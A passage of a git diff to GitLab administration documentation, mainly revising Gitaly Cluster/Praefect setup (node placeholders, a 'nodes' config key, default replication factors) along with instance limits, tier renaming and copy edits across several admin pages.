of Gitaly nodes. It can be uneconomical to have one to one replication factor. A hybrid approach can be used in these instances, where each shard is configured as a smaller @@ -157,18 +199,18 @@ You need the IP/host address for each node. 1. `LOAD_BALANCER_SERVER_ADDRESS`: the IP/host address of the load balancer 1. `POSTGRESQL_SERVER_ADDRESS`: the IP/host address of the PostgreSQL server 1. `PRAEFECT_HOST`: the IP/host address of the Praefect server -1. `GITALY_HOST`: the IP/host address of each Gitaly server +1. `GITALY_HOST_*`: the IP or host address of each Gitaly server 1. `GITLAB_HOST`: the IP/host address of the GitLab server If you are using a cloud provider, you can look up the addresses for each server through your cloud provider's management console. -If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to “internal address” for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST`, and `GITLAB_HOST`. +If you are using Google Cloud Platform, SoftLayer, or any other vendor that provides a virtual private cloud (VPC) you can use the private addresses for each cloud instance (corresponds to “internal address” for Google Cloud Platform) for `PRAEFECT_HOST`, `GITALY_HOST_*`, and `GITLAB_HOST`. #### Secrets The communication between components is secured with different secrets, which are described below. Before you begin, generate a unique secret for each, and -make note of it. This makes it easy to replace these placeholder tokens +make note of it. This enables you to replace these placeholder tokens with secure tokens as you complete the setup process. 1. `GITLAB_SHELL_SECRET_TOKEN`: this is used by Git hooks to make callback HTTP @@ -260,13 +302,12 @@ this, set the corresponding IP or host address of the PgBouncer instance in - `praefect['database_port']`, for the port. Because PgBouncer manages resources more efficiently, Praefect still requires a -direct connection to the PostgreSQL database because it uses +direct connection to the PostgreSQL database. It uses the [LISTEN](https://www.postgresql.org/docs/11/sql-listen.html) -functionality that is [not supported](https://www.pgbouncer.org/features.html) by +feature that is [not supported](https://www.pgbouncer.org/features.html) by PgBouncer with `pool_mode = transaction`. - -Therefore, `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']` -should be set to a direct connection and not a PgBouncer connection. +Set `praefect['database_host_no_proxy']` and `praefect['database_port_no_proxy']` +to a direct connection, and not a PgBouncer connection. Save the changes to `/etc/gitlab/gitlab.rb` and [reconfigure Praefect](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -424,32 +465,43 @@ application server, or a Gitaly node. Praefect when communicating with Gitaly nodes in the cluster. This token is distinct from the `PRAEFECT_EXTERNAL_TOKEN`. - Replace `GITALY_HOST` with the IP/host address of the each Gitaly node. + Replace `GITALY_HOST_*` with the IP or host address of the each Gitaly node. More Gitaly nodes can be added to the cluster to increase the number of replicas. More clusters can also be added for very large GitLab instances. + NOTE: + When adding additional Gitaly nodes to a virtual storage, all storage names + within that virtual storage must be unique. Additionally, all Gitaly node + addresses referenced in the Praefect configuration must be unique. + ```ruby # Name of storage hash must match storage name in git_data_dirs on GitLab - # server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1') + # server ('default') and in git_data_dirs on Gitaly nodes ('gitaly-1') praefect['virtual_storages'] = { 'default' => { - 'gitaly-1' => { - 'address' => 'tcp://GITALY_HOST:8075', - 'token' => 'PRAEFECT_INTERNAL_TOKEN', - }, - 'gitaly-2' => { - 'address' => 'tcp://GITALY_HOST:8075', - 'token' => 'PRAEFECT_INTERNAL_TOKEN' - }, - 'gitaly-3' => { - 'address' => 'tcp://GITALY_HOST:8075', - 'token' => 'PRAEFECT_INTERNAL_TOKEN' + 'nodes' => { + 'gitaly-1' => { + 'address' => 'tcp://GITALY_HOST_1:8075', + 'token' => 'PRAEFECT_INTERNAL_TOKEN', + }, + 'gitaly-2' => { + 'address' => 'tcp://GITALY_HOST_2:8075', + 'token' => 'PRAEFECT_INTERNAL_TOKEN' + }, + 'gitaly-3' => { + 'address' => 'tcp://GITALY_HOST_3:8075', + 'token' => 'PRAEFECT_INTERNAL_TOKEN' + } } } } ``` + NOTE: + In [GitLab 13.8 and earlier](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4988), + Gitaly nodes were configured directly under the virtual storage, and not under the `nodes` key. + 1. [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2013) in GitLab 13.1 and later, enable [distribution of reads](#distributed-reads). 1. Save the changes to `/etc/gitlab/gitlab.rb` and [reconfigure @@ -640,7 +692,7 @@ because we rely on Praefect to route operations correctly. Particular attention should be shown to: - The `gitaly['auth_token']` configured in this section must match the `token` - value under `praefect['virtual_storages']` on the Praefect node. This was set + value under `praefect['virtual_storages']['nodes']` on the Praefect node. This was set in the [previous section](#praefect). This document uses the placeholder `PRAEFECT_INTERNAL_TOKEN` throughout. - The storage names in `git_data_dirs` configured in this section must match the @@ -774,7 +826,7 @@ configuration. ### Load Balancer -In a highly available Gitaly configuration, a load balancer is needed to route +In a fault-tolerant Gitaly configuration, a load balancer is needed to route internal traffic from the GitLab application to the Praefect nodes. The specifics on which load balancer to use or the exact configuration is beyond the scope of the GitLab documentation. @@ -786,7 +838,7 @@ addition to the GitLab nodes. Some requests handled by process. `gitaly-ruby` uses the Gitaly address set in the GitLab server's `git_data_dirs` setting to make this connection. -We hope that if you’re managing HA systems like GitLab, you have a load balancer +We hope that if you’re managing fault-tolerant systems like GitLab, you have a load balancer of choice already. Some examples include [HAProxy](https://www.haproxy.org/) (open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/), [AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5 @@ -878,7 +930,7 @@ Particular attention should be shown to: You need to replace: - `PRAEFECT_HOST` with the IP address or hostname of the Praefect node - - `GITALY_HOST` with the IP address or hostname of each Gitaly node + - `GITALY_HOST_*` with the IP address or hostname of each Gitaly node ```ruby prometheus['scrape_configs'] = [ @@ -896,9 +948,9 @@ Particular attention should be shown to: 'job_name' => 'praefect-gitaly', 'static_configs' => [ 'targets' => [ - 'GITALY_HOST:9236', # gitaly-1 - 'GITALY_HOST:9236', # gitaly-2 - 'GITALY_HOST:9236', # gitaly-3 + 'GITALY_HOST_1:9236', # gitaly-1 + 'GITALY_HOST_2:9236', # gitaly-2 + 'GITALY_HOST_3:9236', # gitaly-3 ] ] } @@ -960,14 +1012,14 @@ To get started quickly: gitlab-ctl reconfigure ``` -1. Set the Grafana admin password. This command prompts you to enter a new +1. Set the Grafana administrator password. This command prompts you to enter a new password: ```shell gitlab-ctl set-grafana-password ``` -1. In your web browser, open `/-/grafana` (e.g. +1. In your web browser, open `/-/grafana` (such as `https://gitlab.example.com/-/grafana`) on your GitLab server. Login using the password you set, and the username `admin`. @@ -975,7 +1027,7 @@ To get started quickly: 1. Go to **Explore** and query `gitlab_build_info` to verify that you are getting metrics from all your machines. -Congratulations! You've configured an observable highly available Praefect +Congratulations! You've configured an observable fault-tolerant Praefect cluster. ## Distributed reads @@ -983,18 +1035,12 @@ cluster. > - Introduced in GitLab 13.1 in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) with feature flag `gitaly_distributed_reads` set to disabled. > - [Made generally available and enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/2951) in GitLab 13.3. > - [Disabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3178) in GitLab 13.5. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitaly/-/issues/3334) in GitLab 13.8. Praefect supports distribution of read operations across Gitaly nodes that are configured for the virtual node. -The feature is disabled by default. To enable distributed reads, the `gitaly_distributed_reads` -[feature flag](../feature_flags.md) must be enabled in a Ruby console: - -```ruby -Feature.enable(:gitaly_distributed_reads) -``` - -If enabled, all RPCs marked with `ACCESSOR` option like +All RPCs marked with `ACCESSOR` option like [GetBlob](https://gitlab.com/gitlab-org/gitaly/-/blob/v12.10.6/proto/blob.proto#L16) are redirected to an up to date and healthy Gitaly node. @@ -1025,9 +1071,8 @@ Praefect guarantees eventual consistency by replicating all writes to secondary after the write to the primary Gitaly node has happened. Praefect can instead provide strong consistency by creating a transaction and writing -changes to all Gitaly nodes at once. Strong consistency is currently in -[alpha](https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga) and not enabled by -default. If enabled, transactions are only available for a subset of RPCs. For more +changes to all Gitaly nodes at once. +If enabled, transactions are only available for a subset of RPCs. For more information, see the [strong consistency epic](https://gitlab.com/groups/gitlab-org/-/epics/1189). To enable strong consistency: @@ -1077,7 +1122,7 @@ replication factor offers better redundancy and distribution of read workload, b in a higher storage cost. By default, Praefect replicates repositories to every storage in a virtual storage. -### Variable replication factor +### Configure replication factors WARNING: The feature is not production ready yet. After you set a replication factor, you can't unset it @@ -1088,36 +1133,46 @@ strategy is not production ready yet. Praefect supports configuring a replication factor on a per-repository basis, by assigning specific storage nodes to host a repository. -[In an upcoming release](https://gitlab.com/gitlab-org/gitaly/-/issues/3362), we intend to -support configuring a default replication factor for a virtual storage. The default replication factor -is applied to every newly-created repository. - -Prafect does not store the actual replication factor, but assigns enough storages to host the repository +Praefect does not store the actual replication factor, but assigns enough storages to host the repository so the desired replication factor is met. If a storage node is later removed from the virtual storage, the replication factor of repositories assigned to the storage is decreased accordingly. -The only way to configure a repository's replication factor is the `set-replication-factor` -sub-command. `set-replication-factor` automatically assigns or unassigns random storage nodes as necessary to -reach the desired replication factor. The repository's primary node is always assigned -first and is never unassigned. +You can configure: -```shell -sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage <virtual-storage> -repository <relative-path> -replication-factor <replication-factor> -``` +- A default replication factor for each virtual storage that is applied to newly-created repositories. + The configuration is added to the `/etc/gitlab/gitlab.rb` file: -- `-virtual-storage` is the virtual storage the repository is located in. -- `-repository` is the repository's relative path in the storage. -- `-replication-factor` is the desired replication factor of the repository. The minimum value is - `1`, as the primary needs a copy of the repository. The maximum replication factor is the number of - storages in the virtual storage. + ```ruby + praefect['virtual_storages'] = { + 'default' => { + 'default_replication_factor' => 1, + # ... + } + } + ``` -On success, the assigned host storages are printed. For example: +- A replication factor for an existing repository using the `set-replication-factor` sub-command. + `set-replication-factor` automatically assigns or unassigns random storage nodes as + necessary to reach the desired replication factor. The repository's primary node is + always assigned first and is never unassigned. -```shell -$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage default -repository @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git -replication-factor 2 + ```shell + sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage <virtual-storage> -repository <relative-path> -replication-factor <replication-factor> + ``` -current assignments: gitaly-1, gitaly-2 -``` + - `-virtual-storage` is the virtual storage the repository is located in. + - `-repository` is the repository's relative path in the storage. + - `-replication-factor` is the desired replication factor of the repository. The minimum value is + `1`, as the primary needs a copy of the repository. The maximum replication factor is the number of + storages in the virtual storage. + + On success, the assigned host storages are printed. For example: + + ```shell + $ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage default -repository @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git -replication-factor 2 + + current assignments: gitaly-1, gitaly-2 + ``` ## Automatic failover and leader election @@ -1171,8 +1226,8 @@ To enable writes again, an administrator can: ### Check for data loss -The Praefect `dataloss` sub-command identifies replicas that are likely to be outdated. This is -useful for identifying potential data loss after a failover. The following parameters are +The Praefect `dataloss` sub-command identifies replicas that are likely to be outdated. This can help +identify potential data loss after a failover. The following parameters are available: - `-virtual-storage` that specifies which virtual storage to check. The default behavior is to @@ -1196,7 +1251,7 @@ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.t ``` Repositories which have assigned storage nodes that contain an outdated copy of the repository are listed -in the output. A number of useful information is printed for each repository: +in the output. This information is printed for each repository: - A repository's relative path to the storage directory identifies each repository and groups the related information. @@ -1213,7 +1268,7 @@ in the output. A number of useful information is printed for each repository: Whether a replica is assigned to host the repository is listed with each replica's status. `assigned host` is printed next to replicas which are assigned to store the repository. The text is omitted if the replica contains a copy of -the repository but is not assigned to store the repository. Such replicas won't be kept in-sync by Praefect but may +the repository but is not assigned to store the repository. Such replicas aren't kept in-sync by Praefect, but may act as replication sources to bring assigned replicas up to date. Example output: @@ -1282,7 +1337,7 @@ To check a project's repository checksums across on all Gitaly nodes, run the ### Enable writes or accept data loss -Praefect provides the following subcommands to re-enable writes: +Praefect provides the following sub-commands to re-enable writes: - In GitLab 13.2 and earlier, `enable-writes` to re-enable virtual storage for writes after data recovery attempts. @@ -1324,7 +1379,7 @@ These tools reconcile the outdated repositories to bring them fully up to date a Praefect automatically reconciles repositories that are not up to date. By default, this is done every five minutes. For each outdated repository on a healthy Gitaly node, the Praefect picks a -random, fully up to date replica of the repository on another healthy Gitaly node to replicate from. A +random, fully up-to-date replica of the repository on another healthy Gitaly node to replicate from. A replication job is scheduled only if there are no other replication jobs pending for the target repository. @@ -1363,10 +1418,10 @@ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.t If your GitLab instance already has repositories on single Gitaly nodes, these aren't migrated to Gitaly Cluster automatically. -Project repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md): +Project repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md). Note that this API cannot move all repository types. For moving other repositories types, see: -NOTE: -The Project repository storage moves API [cannot move all repository types](../../api/project_repository_storage_moves.md#limitations). +- [Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md). +- [Group repository storage moves API](../../api/group_repository_storage_moves.md). To move repositories to Gitaly Cluster: @@ -1383,11 +1438,13 @@ To move repositories to Gitaly Cluster: - The moves are in progress. Re-query the repository move until it completes successfully. - The moves have failed. Most failures are temporary and are solved by rescheduling the move. -1. Once the moves are complete, [query projects](../../api/projects.md#list-all-projects) +1. After the moves are complete, [query projects](../../api/projects.md#list-all-projects) using the API to confirm that all projects have moved. No projects should be returned with `repository_storage` field set to the old storage. -In a similar way, you can move Snippet repositories using the [Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md): +In a similar way, you can move other repository types by using the +[Snippet repository storage moves API](../../api/snippet_repository_storage_moves.md) **(FREE SELF)** +or the [Groups repository storage moves API](../../api/group_repository_storage_moves.md) **(PREMIUM SELF)**. ## Debugging Praefect diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md index 5a004d97220..5105b9ed0d4 100644 --- a/doc/administration/gitaly/reference.md +++ b/doc/administration/gitaly/reference.md @@ -95,13 +95,13 @@ key_path = '/home/git/key.pem' ### Storage -GitLab repositories are grouped into directories known as "storages" -(e.g., `/home/git/repositories`) containing bare repositories managed -by GitLab with names (e.g., `default`). +GitLab repositories are grouped into directories known as storages, such as +`/home/git/repositories`. They contain bare repositories managed +by GitLab with names, such as `default`. These names and paths are also defined in the `gitlab.yml` configuration file of -GitLab. When you run Gitaly on the same machine as GitLab, which is the default -and recommended configuration, storage paths defined in Gitaly's `config.toml` +GitLab. When you run Gitaly on the same machine as GitLab (the default +and recommended configuration) storage paths defined in Gitaly's `config.toml` must match those in `gitlab.yml`. | Name | Type | Required | Description | @@ -232,9 +232,9 @@ The following values configure logging in Gitaly under the `[logging]` section. | ---- | ---- | -------- | ----------- | | `format` | string | no | Log format: `text` or `json`. Default: `text`. | | `level` | string | no | Log level: `debug`, `info`, `warn`, `error`, `fatal`, or `panic`. Default: `info`. | -| `sentry_dsn` | string | no | Sentry DSN for exception monitoring. | +| `sentry_dsn` | string | no | Sentry DSN (Data Source Name) for exception monitoring. | | `sentry_environment` | string | no | [Sentry Environment](https://docs.sentry.io/product/sentry-basics/environments/) for exception monitoring. | -| `ruby_sentry_dsn` | string | no | Sentry DSN for `gitaly-ruby` exception monitoring. | +| `ruby_sentry_dsn` | string | no | Sentry DSN (Data Source Name) for `gitaly-ruby` exception monitoring. | While the main Gitaly application logs go to `stdout`, there are some extra log files that go to a configured directory, like the GitLab Shell logs. diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md index 178fc438df2..8f369a05fbf 100644 --- a/doc/administration/housekeeping.md +++ b/doc/administration/housekeeping.md @@ -49,7 +49,7 @@ It is ultimately performed by the Gitaly RPC `FetchIntoObjectPool`. This is the current call stack by which it is invoked: 1. `Repositories::HousekeepingService#execute_gitlab_shell_gc` -1. `GitGarbageCollectWorker#perform` +1. `Projects::GitGarbageCollectWorker#perform` 1. `Projects::GitDeduplicationService#fetch_from_source` 1. `ObjectPool#fetch` 1. `ObjectPoolService#fetch` diff --git a/doc/administration/img/impersonated_audit_events_v13_8.png b/doc/administration/img/impersonated_audit_events_v13_8.png Binary files differnew file mode 100644 index 00000000000..0a8548d515d --- /dev/null +++ b/doc/administration/img/impersonated_audit_events_v13_8.png diff --git a/doc/administration/img/time_zone_settings.png b/doc/administration/img/time_zone_settings.png Binary files differnew file mode 100644 index 00000000000..e735a8bc5ec --- /dev/null +++ b/doc/administration/img/time_zone_settings.png diff --git a/doc/administration/index.md b/doc/administration/index.md index f071fde2faa..e5f20e3ba05 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated description: 'Learn how to install, configure, update, and maintain your GitLab instance.' --- -# Administrator documentation **(CORE ONLY)** +# Administrator documentation **(FREE SELF)** Learn how to administer your self-managed GitLab instance. @@ -17,7 +17,7 @@ GitLab has two product distributions available through [different subscriptions] You can [install either GitLab CE or GitLab EE](https://about.gitlab.com/install/ce-or-ee/). However, the features you have access to depend on your chosen [subscription](https://about.gitlab.com/pricing/). -GitLab Community Edition installations have access only to Core features. +GitLab Community Edition installations have access only to Free features. Non-administrator users can't access GitLab administration tools and settings. @@ -32,7 +32,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ### Installing GitLab -- [Install](../install/README.md): Requirements, directory structures, and installation methods. +- [Install](../install/index.md): Requirements, directory structures, and installation methods. - [Database load balancing](database_load_balancing.md): Distribute database queries among multiple database servers. - [Omnibus support for log forwarding](https://docs.gitlab.com/omnibus/settings/logs.html#udp-log-shipping-gitlab-enterprise-edition-only). - [Reference architectures](reference_architectures/index.md): Add additional resources to support more users. @@ -80,6 +80,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. emails with S/MIME. - [Enabling and disabling features flags](feature_flags.md): how to enable and disable GitLab features deployed behind feature flags. +- [Application settings cache expiry interval](application_settings_cache.md) #### Customizing GitLab appearance @@ -91,7 +92,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ### Maintaining GitLab -- [Rake tasks](../raketasks/README.md): Perform various tasks for maintenance, backups, automatic webhooks setup, and more. +- [Rake tasks](../raketasks/index.md): Perform various tasks for maintenance, backups, automatic webhooks setup, and more. - [Backup and restore](../raketasks/backup_restore.md): Backup and restore your GitLab instance. - [Operations](operations/index.md): Keeping GitLab up and running (clean up Redis sessions, moving repositories, Sidekiq MemoryKiller, Puma). - [Restart GitLab](restart_gitlab.md): Learn how to restart GitLab and its components. @@ -101,14 +102,15 @@ Learn how to install, configure, update, and maintain your GitLab instance. #### Updating GitLab - [GitLab versions and maintenance policy](../policy/maintenance.md): Understand GitLab versions and releases (Major, Minor, Patch, Security), as well as update recommendations. -- [Update GitLab](../update/README.md): Update guides to upgrade your installation to a new version. -- [Upgrading without downtime](../update/README.md#upgrading-without-downtime): Upgrade to a newer major, minor, or patch version of GitLab without taking your GitLab instance offline. +- [GitLab in maintenance mode](maintenance_mode/index.md): Put GitLab in maintenance mode. +- [Update GitLab](../update/index.md): Update guides to upgrade your installation to a new version. +- [Upgrading without downtime](../update/index.md#upgrading-without-downtime): Upgrade to a newer major, minor, or patch version of GitLab without taking your GitLab instance offline. - [Migrate your GitLab CI/CD data to another version of GitLab](../migrate_ci_to_ce/README.md): If you have an old GitLab installation (older than 8.0), follow this guide to migrate your existing GitLab CI/CD data to another version of GitLab. ### Upgrading or downgrading GitLab -- [Upgrade from GitLab CE to GitLab EE](../update/README.md#upgrading-between-editions): learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions. -- [Downgrade from GitLab EE to GitLab CE](../downgrade_ee_to_ce/README.md): Learn how to downgrade GitLab Enterprise Editions to Community Edition. +- [Upgrade from GitLab CE to GitLab EE](../update/index.md#upgrading-between-editions): learn how to upgrade GitLab Community Edition to GitLab Enterprise Editions. +- [Downgrade from GitLab EE to GitLab CE](../downgrade_ee_to_ce/index.md): Learn how to downgrade GitLab Enterprise Editions to Community Edition. ### GitLab platform integrations @@ -152,8 +154,8 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Package Registry administration -- [Container Registry](packages/container_registry.md): Configure Container Registry with GitLab. -- [Package Registry](packages/index.md): Enable GitLab to act as an NPM Registry and a Maven Repository. +- [Container Registry](packages/container_registry.md): Configure GitLab to act as a registry for containers. +- [Package Registry](packages/index.md): Enable GitLab to act as a registry for packages. - [Dependency Proxy](packages/dependency_proxy.md): Configure the Dependency Proxy, a local proxy for frequently used upstream images/packages. ### Repository settings @@ -168,7 +170,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Continuous Integration settings - [Enable/disable GitLab CI/CD](../ci/enable_or_disable_ci.md#site-wide-admin-setting): Enable or disable GitLab CI/CD for your instance. -- [GitLab CI/CD admin settings](../user/admin_area/settings/continuous_integration.md): Enable or disable Auto DevOps site-wide and define the artifacts' max size and expiration time. +- [GitLab CI/CD administration settings](../user/admin_area/settings/continuous_integration.md): Enable or disable Auto DevOps site-wide and define the artifacts' max size and expiration time. - [External Pipeline Validation](external_pipeline_validation.md): Enable, disable and configure external pipeline validation. - [Job artifacts](job_artifacts.md): Enable, disable, and configure job artifacts (a set of files and directories which are outputted by a job when it completes successfully). - [Job logs](job_logs.md): Information about the job logs. @@ -186,7 +188,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. ## Git configuration options -- [Server hooks](server_hooks.md): Server hooks (on the filesystem) for when webhooks aren't enough. +- [Server hooks](server_hooks.md): Server hooks (on the file system) for when webhooks aren't enough. - [Git LFS configuration](lfs/index.md): Learn how to configure LFS for GitLab. - [Housekeeping](housekeeping.md): Keep your Git repositories tidy and fast. - [Configuring Git Protocol v2](git_protocol.md): Git protocol version 2 support. diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index a3452a1a605..27e8b13812f 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -134,6 +134,15 @@ It's possible that this limit will be changed to a lower number in the future. - **Max size:** ~1 million characters / ~1 MB +## Size of commit titles and descriptions + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/292039) in GitLab 13.9 + +Commits with arbitrarily large messages may be pushed to GitLab, but when +displaying commits, titles (the first line of the commit message) will be +limited to 1KiB, and descriptions (the rest of the message) will be limited to +1MiB. + ## Number of issues in the milestone overview > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39453) in GitLab 12.10. @@ -156,8 +165,6 @@ Read more in the [CI documentation](../ci/yaml/README.md#processing-git-pushes). ## Retention of activity history -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21164) in GitLab 8.12. - Activity history for projects and individuals' profiles was limited to one year until [GitLab 11.4](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52246) when it was extended to two years, and in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/33840) to three years. ## Number of embedded metrics @@ -258,9 +265,11 @@ each time a new pipeline is created. An active pipeline is any pipeline in one o If a new pipeline would cause the total number of jobs to exceed the limit, the pipeline will fail with a `job_activity_limit_exceeded` error. -- On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan. -- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects. - This limit is disabled (`0`) by default. +- GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), + and they affect all projects under that plan. +- On [GitLab Premium](https://about.gitlab.com/pricing/) self-managed or + higher installations, this limit is defined under a `default` plan that affects all + projects. This limit is disabled (`0`) by default. To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -283,7 +292,7 @@ any job with an [`environment`](../ci/environments/index.md) specified. The numb of deployments in a pipeline is checked at pipeline creation. Pipelines that have too many deployments fail with a `deployments_limit_exceeded` error. -The default limit is 500 for all [self-managed and GitLab.com plans](https://about.gitlab.com/pricing/). +The default limit is 500 for all [GitLab self-managed and SaaS plans](https://about.gitlab.com/pricing/). To change the limit on a self-managed installation, change the `default` plan's limit with the following [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session) command: @@ -307,8 +316,11 @@ checked each time a new subscription is created. If a new subscription would cause the total number of subscription to exceed the limit, the subscription will be considered invalid. -- On GitLab.com different [limits are defined per plan](../user/gitlab_com/index.md#gitlab-cicd) and they affect all projects under that plan. -- On [GitLab Starter](https://about.gitlab.com/pricing/#self-managed) tier or higher self-managed installations, this limit is defined under a `default` plan that affects all projects. By default, there is a limit of `2` subscriptions. +- GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), + and they affect all projects under that plan. +- On [GitLab Premium](https://about.gitlab.com/pricing/) self-managed + or higher installations, this limit is defined under a `default` plan that + affects all projects. By default, there is a limit of `2` subscriptions. To set this limit on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -328,11 +340,11 @@ checked each time a new pipeline schedule is created. If a new pipeline schedule would cause the total number of pipeline schedules to exceed the limit, the pipeline schedule will not be created. -On GitLab.com, different limits are [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), +GitLab SaaS subscribers have different limits [defined per plan](../user/gitlab_com/index.md#gitlab-cicd), and they affect all projects under that plan. -On self-managed instances ([GitLab Starter](https://about.gitlab.com/pricing/#self-managed) -or higher tiers), this limit is defined under a `default` plan that affects all +On [GitLab Premium](https://about.gitlab.com/pricing/) self-managed or +higher installations, this limit is defined under a `default` plan that affects all projects. By default, there is a limit of `10` pipeline schedules. To set this limit on a self-managed installation, run the following in the @@ -406,7 +418,7 @@ setting is used: | `ci_max_artifact_size_terraform` | 5 MB ([introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37018) in GitLab 13.3) | | `ci_max_artifact_size_trace` | 0 | -For example, to set the `ci_max_artifact_size_junit` limit to 10MB on a self-managed +For example, to set the `ci_max_artifact_size_junit` limit to 10 MB on a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): ```ruby @@ -577,7 +589,7 @@ On GitLab.com, the maximum file size for a package that's uploaded to the [GitLa - Conan: 5GB - Generic: 5GB - Maven: 5GB -- NPM: 5GB +- npm: 5GB - NuGet: 5GB - PyPI: 5GB @@ -590,7 +602,7 @@ To set this limit on a self-managed installation, run the following in the # For Conan Packages Plan.default.actual_limits.update!(conan_max_file_size: 100.megabytes) -# For NPM Packages +# For npm Packages Plan.default.actual_limits.update!(npm_max_file_size: 100.megabytes) # For NuGet Packages @@ -610,3 +622,15 @@ Plan.default.actual_limits.update!(generic_packages_max_file_size: 100.megabytes ``` Set the limit to `0` to allow any file size. + +### Package versions returned + +When asking for versions of a given NuGet package name, the GitLab Package Registry returns a maximum of 300 versions. + +## Branch retargeting on merge **(FREE SELF)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9. + +If a branch is merged while open merge requests still point to it, GitLab can +retarget merge requests pointing to the now-merged branch. To learn more, read +[Branch retargeting on merge](../user/project/merge_requests/getting_started.md#branch-retargeting-on-merge). diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md index 8f33ddf3ca5..56a305fa4da 100644 --- a/doc/administration/instance_review.md +++ b/doc/administration/instance_review.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Instance Review -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/6995) in [GitLab Core](https://about.gitlab.com/pricing/) 11.3. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/6995) in [GitLab Free](https://about.gitlab.com/pricing/) 11.3. If you run a medium-sized self-managed instance (50+ users) of a free version of GitLab, [either Community Edition or unlicensed Enterprise Edition](https://about.gitlab.com/install/ce-or-ee/), diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md index dead5640873..5e458399773 100644 --- a/doc/administration/integration/kroki.md +++ b/doc/administration/integration/kroki.md @@ -1,4 +1,10 @@ -# Kroki diagrams **(CORE ONLY)** +--- +stage: Create +group: Ecosystem +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Kroki diagrams **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7. @@ -24,6 +30,8 @@ The **Kroki URL** is the hostname of the server running the container. The [`yuzutech/kroki`](https://hub.docker.com/r/yuzutech/kroki) image contains the following diagrams libraries out-of-the-box: +<!-- vale gitlab.Spelling = NO --> + - [Bytefield](https://bytefield-svg.deepsymmetry.org/) - [Ditaa](http://ditaa.sourceforge.net) - [Erd](https://github.com/BurntSushi/erd) @@ -37,6 +45,8 @@ The [`yuzutech/kroki`](https://hub.docker.com/r/yuzutech/kroki) image contains t - [Vega-Lite](https://github.com/vega/vega-lite) - [WaveDrom](https://wavedrom.com/) +<!-- vale gitlab.Spelling = YES --> + If you want to use additional diagram libraries, read the [Kroki installation](https://docs.kroki.io/kroki/setup/install/#_images) to learn how to start Kroki companion containers. @@ -138,8 +148,12 @@ Rel(banking_system, mainframe, "Uses")  +<!-- vale gitlab.Spelling = NO 